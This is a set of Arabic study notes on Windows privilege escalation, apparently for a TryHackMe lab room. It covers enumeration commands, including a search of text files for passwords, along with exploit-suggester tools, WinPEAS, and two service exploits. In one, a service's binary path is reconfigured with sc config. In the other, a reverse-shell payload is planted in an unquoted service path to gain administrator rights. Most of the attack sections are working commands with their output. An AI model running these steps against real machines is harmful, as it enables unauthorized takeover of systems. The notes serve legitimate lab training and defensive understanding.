تصعيد الامتيازات في Windows

• الغرفة المفضلة هي https://tryhackme.com/room/windows10privesc، لكن يمكنك استخدام أي شيء من اختيارك.
• بعض الموارد:
  • https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
  • https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html
  • https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md
  • https://www.fuzzysecurity.com/tutorials/16.html

---

أنواع الحسابات في أجهزة Windows:

• المسؤول (محلي): هذا هو المستخدم الذي يتمتع بأعلى الصلاحيات.
• القياسي (محلي): يمكن لهؤلاء المستخدمين الوصول إلى الكمبيوتر ولكن يمكنهم فقط تنفيذ مهام محدودة. عادةً لا يمكن لهؤلاء المستخدمين إجراء تغييرات دائمة أو جوهرية على النظام.
• الضيف: يمنح هذا الحساب إمكانية الوصول إلى النظام ولكنه لا يُعرَّف كمستخدم.
• القياسي (المجال): تتيح Active Directory للمؤسسات إدارة حسابات المستخدمين. قد يمتلك حساب المجال القياسي صلاحيات مسؤول محلي.
• المسؤول (المجال): يمكن اعتباره المستخدم الأكثر امتيازًا. يمكنه تعديل وإنشاء وحذف المستخدمين الآخرين عبر مجال المؤسسة.
• SYSTEM : هذا ليس حسابًا بالمعنى الدقيق، لكن خدمات Windows تستخدم هذا الحساب لأداء مهامها، وحتى هذا الحساب لديه صلاحيات أعلى.

نقطة مهمة جديرة بالملاحظة وهي المجموعات، أي مستخدم ضمن مجموعة المسؤولين يساعدنا على تصعيد الصلاحيات!

---

جمع المعلومات:

• من أفضل الموارد: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md

1. whoami /priv - صلاحيات المستخدم الحالي
2. net users - يسرد جميع المستخدمين
3. net user <username> - يسرد تفاصيل مستخدم معين
4. qwinsta - المستخدمون الآخرون المسجلون دخولهم في نفس الوقت
5. net localgroup - المجموعات المتوفرة في النظام
6. net localgroup <group-name> - يسرد أعضاء مجموعة معينة
7. systeminfo - يعطي كل المعلومات حول نظام التشغيل
8. hostname - اسم المضيف للنظام
9. findstr /si password *.txt - نبحث عن الملفات التي تحتوي على 'password' وتحديدًا في الملفات النصية
10. wmic qfe get Caption,Description,HotFixID,InstalledOn - يخبرنا عن التصحيحات الأمنية والمعلومات ذات الصلة
11. netstat -ano - الاتصالات المرتبطة بالجهاز
12. schtasks /query /fo LIST /v - للبحث عن أي مهام مجدولة
13. driverquery - يسرد المعلومات المتعلقة بالتعريفات
14. sc query windefend - يبحث عن خدمة برنامج مكافحة الفيروسات

---

Windows Exploit Suggester:

• هذه أداة أسطورية يستخدمها معظم الناس
• يمكننا حل 60% من الأجهزة الموجودة على الإنترنت باستخدام هذه الأداة
• الرابط: https://github.com/AonCyberLabs/Windows-Exploit-Suggester
• فقط احصل على نسخة من مخرجات أداة systeminfo على جهازك وهذا هو المطلب الوحيد لهذه الأداة
• نصيحة احترافية: تأكد من تلبية جميع المتطلبات!

---

البرمجيات الضعيفة:

• هنا سنحاول العثور على إصدار البرنامج المثبت ومعرفة ما إذا كان عرضة للثغرات أم لا
• wmic product get name,version,vendor - يعطي اسم المنتج والإصدار والبائع. هذا الأمر بالتحديد يعطي تصورًا واضحًا لما نحتاجه.
• في بعض الأحيان قد لا يعمل الأمر أعلاه، لذا استخدم wmic service list brief | findstr "Running" ومن أجل الحصول على مزيد من المعلومات حول الخدمة استخدم sc qc <ServiceName>

---

---

تصعيد الامتيازات عبر Metasploit:

• بعد الحصول على جلسة في metasploit، شغّل وحدة باسم post/multi/recon/local_exploit_suggester، تأكد من أن جلستك في الخلفية حتى تعمل هذه الأداة بشكل صحيح، أو يمكنك ببساطة تحميلها من meterpreter.
• ثم ستقترح بعض الوحدات القابلة للاستغلال، فجرّبها وقد يعمل بعضها (اختياري).

---

---

WinPEAS:

• هذا سكربت تعداد تلقائي مفيد جدًا.
• للاستخدام الأمثل، اطلع على جميع الخيارات بتشغيل winpeas.exe --help
• شغّل الخيارات المطلوبة فقط واضبط المخرجات.

---

---

استغلال النواة:

• استخدم هذه الأداة تحديدًا المسماة Windows Exploit Suggester
• أولاً احصل على معلومات النظام بتشغيل الأمر systeminfo وانسخ ذلك إلى أي ملف وسمِّه بالامتداد .txt
• الآن شغّل الأداة باستخدام قاعدة البيانات
• هنا ابحث عن الاستغلالات المتعلقة بالنواة.
• استمتع بالاختراق!!

---

---

استغلال الخدمات:

صلاحيات الخدمات غير الآمنة:

• هنا سنحاول تحديد الخدمات التي تمتلك صلاحيات غير آمنة ثم يمكننا محاولة استغلالها.

• هنا يمكننا استخدام الأمر winpeas.exe servicesinfo ويمكننا رؤية الخدمات المفيدة جدًا

• أحد الأجزاء المثيرة للاهتمام في المخرجات هو كما يلي،```

  daclsvc(DACL Service)["C:\Program Files\DACL Service\daclservice.exe"] - Manual - Stopped YOU CAN MODIFY THIS SERVICE: ChangeConfig

- لكن للحصول على مزيد من المعلومات يمكننا استخدام أداة تسمى **accesschk** وهي من إنتاج مايكروسوفت، قم بتشغيلها على النحو التالي `accesschk.exe /accepteula -uwcqv <current-user> <service>`، الناتج هو،```
C:\PrivEsc>accesschk.exe /accepteula -uwcqv user daclsvc
daclsvc
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_CHANGE_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_START
        SERVICE_STOP
        READ_CONTROL

• لكن الجزء الرئيسي هو service_change_config حيث يمكننا تغيير إعدادات الخدمة.
• قم بتشغيل sc qc <service> ثم لاحظ Binary_path_name (يمكن أيضًا تسميته binpath)، الذي سنقوم بتغييره (ابتسامة شريرة)
• الآن أنشئ حمولة من نوع shell وانقلها إلى الجهاز الهدف
• صيغة تغيير الإعداد: sc config <service> <option>="<value>"
• الآن sc config daclsvc binpath="<path>" ثم ابدأ الخدمة sc start daclsvc

---

مسار خدمة غير مقتبس:(USP)

• بالنسبة للخدمات، يجب أن يكون المسار بين علامتي اقتباس، وإذا لم يكن كذلك فيمكننا استغلال هذه الثغرة والحصول على صلاحيات عالية.``` Vulnerability Insight: The Windows API must assume where to find the referenced application if the path contains spaces and is not enclosed by quotation marks. If, for example, a service uses the unquoted path:

Vulnerable Service: C:\Program Files\Ignite Data\Vuln Service\file.exe

The system will read this path in the following sequence from 1 to 4 to trigger malicous.exe through a writeable directory.

C:\Program.exe C:\Program Files\Ignite.exe C:\Program Files\Ignite Data\Vuln.exe C:\Program Files\Ignite Data\Vuln Service\file.exe

- للحصول على مزيد من المعلومات، ما عليك سوى استخدام سكربت **WinPEAS** مع الخيار `servicesinfo`، وهنا يمكننا رؤية معلومات حول ما إذا كان يمكننا استغلال أي **Unquoted Service Path**. لقد قمت بتشغيل الأداة وكان الجزء المثير للاهتمام من المخرجات كما يلي،```
unquotedsvc(Unquoted Path Service)[C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe] - Manual - Stopped - No quotes and Space detected  

• يوضح الإخراج هنا بوضوح أنه No quotes and Space Detected، لذا يمكننا استنتاج أن بإمكاننا استغلال هذه الخدمة المحددة باستخدام USP
• ولجمع المزيد من المعلومات حول الخدمة استخدم sc qc <service>
• الآن دعونا نتحقق من صلاحيات هذا الموقع المحدد C:\Program Files\Unquoted Path Service باستخدام accesschk، لذا قم بتشغيل accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service". الإخراج:``` accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service" C:\Program Files\Unquoted Path Service Medium Mandatory Level (Default) [No-Write-Up] RW BUILTIN\Users RW NT SERVICE\TrustedInstaller RW NT AUTHORITY\SYSTEM RW BUILTIN\Administrators

- لدينا إذن القراءة والكتابة.
- الآن سننشئ الحمولة ونلصقها في `C:\Program Files\Unquoted Path Service`، عبر `copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"`، هنا أستخدم اسمًا مختلفًا له ميزة تتعلق بالترتيب الأبجدي أيضًا.
- الآن ابدأ الخدمة، `sc start unquotedsvc`، نحن مسؤولون!!!